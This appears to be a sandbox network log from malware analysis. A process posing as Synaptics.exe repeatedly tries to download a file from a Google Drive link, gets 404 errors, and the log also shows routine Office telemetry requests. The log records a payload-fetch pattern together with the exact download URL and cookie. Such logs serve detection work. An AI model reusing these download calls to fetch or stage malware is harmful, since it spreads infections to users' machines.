2024-11-05 21:44:27 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49887	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eUHQDICFwB-NWa3_eie1iA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49888	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vTwANdnv89EdvGA32aawiQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49889	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:27 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:27 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-afkJfNQVLOtc3UIpOqajPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY1cT_46G5HlX1FmG4MSIu2C3X-Ry8sjoJW4iODT5EWKL0-dv699ccPJSso7f9OGOnoAF7eDkvt_qg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:27 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:27 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 6a 56 64 6f 6e 42 46 4f 76 76 57 49 66 58 4e 53 73 30 7a 52 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="pjVdonBFOvvWIfXNSs0zRw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:27 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: e6dbc9be-001e-0017-395c-2e0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214427Z-15869dbbcc6lq2lzhC1DFWym6c00000000vg000000005enm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 75885d68-101e-005a-2958-2e882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214427Z-17df447cdb5qt2nfhC1DFWeaa000000001s000000000h6gn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 4c090a89-b01e-0098-3360-2ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214427Z-15869dbbcc68l9dbhC1DFWc5xw00000000ng000000003h6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214427Z-16547b76f7fmbrhqhC1DFWkds800000005rg00000000hrnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214427Z-16547b76f7fkj7j4hC1DFW0a9g00000005k0000000010t15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49897	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-FyTOD9o8DbETJqSvIYyesQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49898	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:28 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:28 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Gi2i2xejFI31nJwc4c-2yQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY3niR10_dbHg3jNVC67IMWCUbtTAfO_R2fyOM6ksb5tBLeoqO60BbY1_gEhlPeZQ4jajbRmqTjqXQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:28 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
